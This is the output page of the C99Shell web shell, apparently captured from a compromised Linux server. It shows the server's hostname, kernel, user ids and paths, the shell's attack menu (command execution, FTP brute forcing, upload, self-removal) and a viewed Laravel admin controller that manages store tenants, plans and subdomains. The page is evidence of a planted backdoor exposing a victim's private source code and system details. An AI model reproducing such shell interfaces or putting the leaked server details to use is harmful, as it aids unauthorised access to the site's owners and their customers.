!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/inventory.picotech.app/public_html/app/Http/Controllers/Admin/   drwxr-xr-x
Free 29.02 GB of 117.98 GB (24.6%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CustomerController.php (8.68 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Admin;

use 
App\Http\Controllers\Controller;
use 
App\Models\Admin\Tenant;
use 
App\Models\Admin\TenantPlan;
use 
App\Models\Plan;
use 
App\Models\Setting;
use 
App\Models\User;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\Artisan;
use 
Illuminate\Support\Facades\DB;
use 
Illuminate\Support\Str;

class 
CustomerController extends Controller
{
    public function 
index()
    {
        return 
view('admin.customers.index');
    }

    public function 
getAll()
    {
        
$customers Tenant::with('currentPlan')->get();
        return 
datatables()->of($customers)
            ->
addColumn('action', function ($q) {
                return 
'<div class="btn-group">
                          <button type="button" data-toggle="dropdown" class="border-0">
                         <i class="fas fa-ellipsis-h"></i>
                          </button>
                          <div class="dropdown-menu">
                            <a class="dropdown-item" href="' 
route('admin.customers.edit', [$q->id]) . '">Edit</a>
                            <a data-message="Are you sure you want to delete this Store?"
                                        data-action=' 
route('admin.customers.destroy', [$q]) . '
                                        data-input={"_method":"delete"}
                                        data-toggle="modal" data-target="#modal-confirm" data-toggle="tooltip" data-placement="top" title="Delete" class="dropdown-item" href="#">Delete</a>
                          </div>
                        </div>'
;
            })
            ->
addColumn('status', function ($q) {
                if (
$q->status == 'pending') {
                    return 
'<span class="pl-2 pr-2 pt-1 pb-1 bg-warning" style="border-radius:25px;color:white !important;">' $q->status '</span>';
                } elseif (
$q->status == 'accepted') {
                    return 
'<span class="pl-2 pr-2 pt-1 pb-1 bg-success" style="border-radius:25px;">' $q->status '</span>';
                } elseif (
$q->status == 'rejected') {
                    return 
'<span class="pl-2 pr-2 pt-1 pb-1 bg-danger" style="border-radius:25px;">' $q->status '</span>';
                } elseif (
$q->status == 'blocked') {
                    return 
'<span class="pl-2 pr-2 pt-1 pb-1 bg-danger" style="border-radius:25px;">' $q->status '</span>';
                }
            })
            ->
addColumn('store_name', function ($q) {
                return 
$q->store_name;
            })
            ->
addColumn('plan', function ($q) {
                return 
$q->currentPlan->plan->title;
            })
            ->
addColumn('sms_limit', function ($q) {
                return 
$q->currentPlan->sms_limit;
            })
            ->
addColumn('cost', function ($q) {
                return 
$q->currentPlan->cost;
            })
            ->
addColumn('expired_at', function ($q) {
                return 
$q->currentPlan->expired_date;
            })
            ->
rawColumns(['status''action','plan'])
            ->
toJson();
    }

    public function 
getSubDomain($storeName)
    {
        
$username Str::slug($storeName'');
        
$userRows DB::table('domains')->select('id')->where("domain""REGEXP""^$username([0-9]*)?")->get();
        
$countUser count($userRows) + 1;
        return (
$countUser 1) ? "{$username}{$countUser}$username;
    }

    public function 
create()
    {
        
$data['plans'] = Plan::active()->get();
        return 
view('admin.customers.create'$data);
    }

    public function 
store(Request $request)
    {

        
$request->validate([
            
'store_name' => 'required',
            
'email' => 'required|email',
            
'password' => 'required',
            
'plan_id' => 'required',
        ]);
        
$plan Plan::findOrFail($request->plan_id);
        
$host parse_url(env('APP_URL'))['host'];

        
$tenant Tenant::create([
            
'plan' => '' $plan->id,
            
'store_name' => $request->store_name,
            
'email' => $request->email,
        ]);
        
$expired_date null;
        if (
$plan->recurring_type == 'monthly') {
            
$expired_date now()->addMonth();
        } elseif (
$plan->recurring_type == 'semiyearly') {
            
$expired_date now()->addMonths(6);
        } elseif (
$plan->recurring_type == 'yearly') {
            
$expired_date now()->addYear();
        }
        
$tenantPlan = new TenantPlan();
        
$tenantPlan->tenant_id $tenant->id;
        
$tenantPlan->plan_id $plan->id;
        
$tenantPlan->start_date now();
        
$tenantPlan->expired_date $expired_date;
        
$tenantPlan->cost $plan->cost;
        
$tenantPlan->sms_limit $plan->sms_limit;
        
$tenantPlan->payment_status 'unpaid';
        
$tenantPlan->save();


        
$subDomain $this->getSubDomain($request->store_name);
        
$domain "{$subDomain}.{$host}";
        
$tenant->domains()->create([
            
'domain' => $domain,
        ]);
        
$request['sub_domain'] = $subDomain;

        
$tenant->run(function (Tenant $t) use ($request) {
            
$storage_path storage_path();
            
mkdir("$storage_path/framework/cache"0777true);
            
Artisan::call("tenants:seed --tenants=" $t->id);
            
Artisan::call("passport:keys");
            
$storeName explode(' 'strtolower($request->store_name));
            
$firstName $storeName[0];
            unset(
$storeName[0]);
            
$lastName implode(' '$storeName);
            
DB::statement("SET FOREIGN_KEY_CHECKS=0;");
            
User::truncate();
            
User::insert(
                array(
                    
'id' => 1,
                    
'firstname' => $firstName,
                    
'lastname' => $lastName,
                    
'username' => $request->sub_domain,
                    
'email' => $request->email,
                    
'password' => bcrypt($request->password),
                    
'avatar' => 'no_avatar.png',
                    
'phone' => '',
                    
'role_id' => 1,
                    
'statut' => 1,
                    
'is_all_warehouses' => 1,
                )
            );
            
Setting::where('id'1)->update(['tenant_id' => $t->id]);
            
DB::statement("SET FOREIGN_KEY_CHECKS=1;");
        });

        return 
redirect()->back()->with('success''Store created successfully');
    }

    public function 
edit($id)
    {
        
$data['store'] = Tenant::findOrFail($id);
        
$data['plans'] = Plan::active()->get();
        return 
view('admin.customers.edit'$data);
    }

    public function 
update($idRequest $request)
    {
        
$request->validate([
            
'store_name' => 'required',
            
'email' => 'required|email',
            
'plan_id' => 'required',
            
'payment_status' => 'required|in:paid,unpaid',
            
'status' => 'required|in:pending,accepted,rejected,blocked,expired',
        ]);

        
$plan Plan::findOrFail($request->plan_id);

        
$tenant Tenant::findOrFail($id);
        
$tenant->email $request->email;
        
$tenant->plan "" $plan->id;
        
$tenant->store_name $request->store_name;
        
$tenant->status $request->status;
        
$tenant->save();

        
$expired_date $tenant->currentPlan->expired_date;
        if (
$tenant->plan_id != $request->plan_id) {
            if (
$plan->recurring_type == 'monthly') {
                
$expired_date now()->addMonth();
            } elseif (
$plan->recurring_type == 'semiyearly') {
                
$expired_date now()->addMonths(6);
            } elseif (
$plan->recurring_type == 'yearly') {
                
$expired_date now()->addYear();
            }
        }

        
$tenantPlan $tenant->currentPlan;
        
$tenantPlan->plan_id $plan->id;
        
$tenantPlan->start_date $tenant->plan_id == $request->plan_id $tenant->currentPlan->start_date now();
        
$tenantPlan->expired_date $expired_date;
        
$tenantPlan->cost $plan->cost;
        
$tenantPlan->sms_limit $plan->sms_limit;
        
$tenantPlan->payment_status $request->payment_status;
        
$tenantPlan->save();

        
$tenant->run(function (Tenant $t) use ($request) {
            
$storeName explode(' 'strtolower($request->store_name));
            
$firstName $storeName[0];
            unset(
$storeName[0]);
            
$lastName implode(' '$storeName);
            
$user User::first();
            
$user->firstname $firstName;
            
$user->lastname $lastName;
            
$user->email $request->email;
            if (
$request->password) {
                
$user->password bcrypt($request->password);
            }
            
$user->save();
        });

        return 
redirect()->back()->with('success''Store updated successfully');

    }

    public function 
destroy()
    {

    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0047 ]--